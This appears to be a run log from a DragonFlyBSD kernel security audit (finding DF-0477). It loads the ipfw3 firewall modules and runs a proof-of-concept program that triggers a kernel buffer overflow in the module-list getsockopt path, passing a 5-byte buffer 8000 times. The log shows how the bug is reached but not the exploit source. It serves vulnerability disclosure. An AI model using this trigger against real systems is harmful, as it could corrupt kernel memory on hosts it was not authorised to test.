DragonFlyBSD Kernel Audit
DF-0477 / run.log
← back to finding ↓ download raw
=== df0477.out ===
+ date
Sat Jul 18 17:04:05 UTC 2026
+ O=/usr/obj/usr/src/sys/X86_64_GENERIC/usr/src/sys/net
+ kldload /usr/obj/usr/src/sys/X86_64_GENERIC/usr/src/sys/net/ipfw3/ipfw3.ko
+ echo 'core rc=0'
core rc=0
+ kldload /usr/obj/usr/src/sys/X86_64_GENERIC/usr/src/sys/net/ipfw3_basic/ipfw3_basic.ko
+ echo 'basic rc=0'
basic rc=0
+ kldload /usr/obj/usr/src/sys/X86_64_GENERIC/usr/src/sys/net/ipfw3_layer2/ipfw3_layer2.ko
+ echo 'layer2 rc=0'
layer2 rc=0
+ kldload /usr/obj/usr/src/sys/X86_64_GENERIC/usr/src/sys/net/ipfw3_layer4/ipfw3_layer4.ko
+ echo 'layer4 rc=0'
layer4 rc=0
+ kldload /usr/obj/usr/src/sys/X86_64_GENERIC/usr/src/sys/net/ipfw3_nat/ipfw3_nat.ko
+ echo 'nat rc=0'
nat rc=0
+ kldstat
+ grep -i ipfw
 4    2 0xffffffff82600000    41000 ipfw3.ko
 5    4 0xffffffff82641000    77000 ipfw3_basic.ko
 6    1 0xffffffff826b8000    11000 ipfw3_layer2.ko
 7    1 0xffffffff826c9000    14000 ipfw3_layer4.ko
 8    1 0xffffffff826ee000    2e000 ipfw3_nat.ko
+ cd /root/poc/DF-0477
+ echo '=== probe: large buffer to see module_str ==='
=== probe: large buffer to see module_str ===
+ ./ipfw3_get_modules_overflow 1 256
bufsize=256 iter 0: getsockopt rc=0 returned_len=23 errno=0 (Undefined error: 0)
  payload_slot=252 returned_len=23 (no overflow)
  module_str="basic,layer2,layer4,nat"
DF-0477: 1 iterations done, bufsize=256. Kernel still alive.
+ echo '=== overflow: minimal buffer (5), 8000 iters ==='
=== overflow: minimal buffer (5), 8000 iters ===
+ ./ipfw3_get_modules_overflow 8000 5
bufsize=5 iter 0: getsockopt rc=0 returned_len=23 errno=0 (Undefined error: 0)
  payload_slot=1 returned_len=23 => OVERFLOW (bcopy exceeded payload slot)
  module_str="basic,layer2,layer4,nat"
DF-0477: 8000 iterations done, bufsize=5. Kernel still alive.
+ echo 'POC_DONE rc=0'
POC_DONE rc=0
+ date
Sat Jul 18 17:04:05 UTC 2026
+ sync
=== env ===
DragonFly dfbsd 6.5-DEVELOPMENT DragonFly 6.5-DEVELOPMENT #0: Thu Jul  2 06:02:54 UTC 2026     root@dfbsd:/usr/obj/usr/src/sys/X86_64_GENERIC  x86_64
cc 8.3 [DragonFly] Release/2019-02-22
DragonFly 6.5-DEVELOPMENT #0: Thu Jul  2 06:02:54 UTC 2026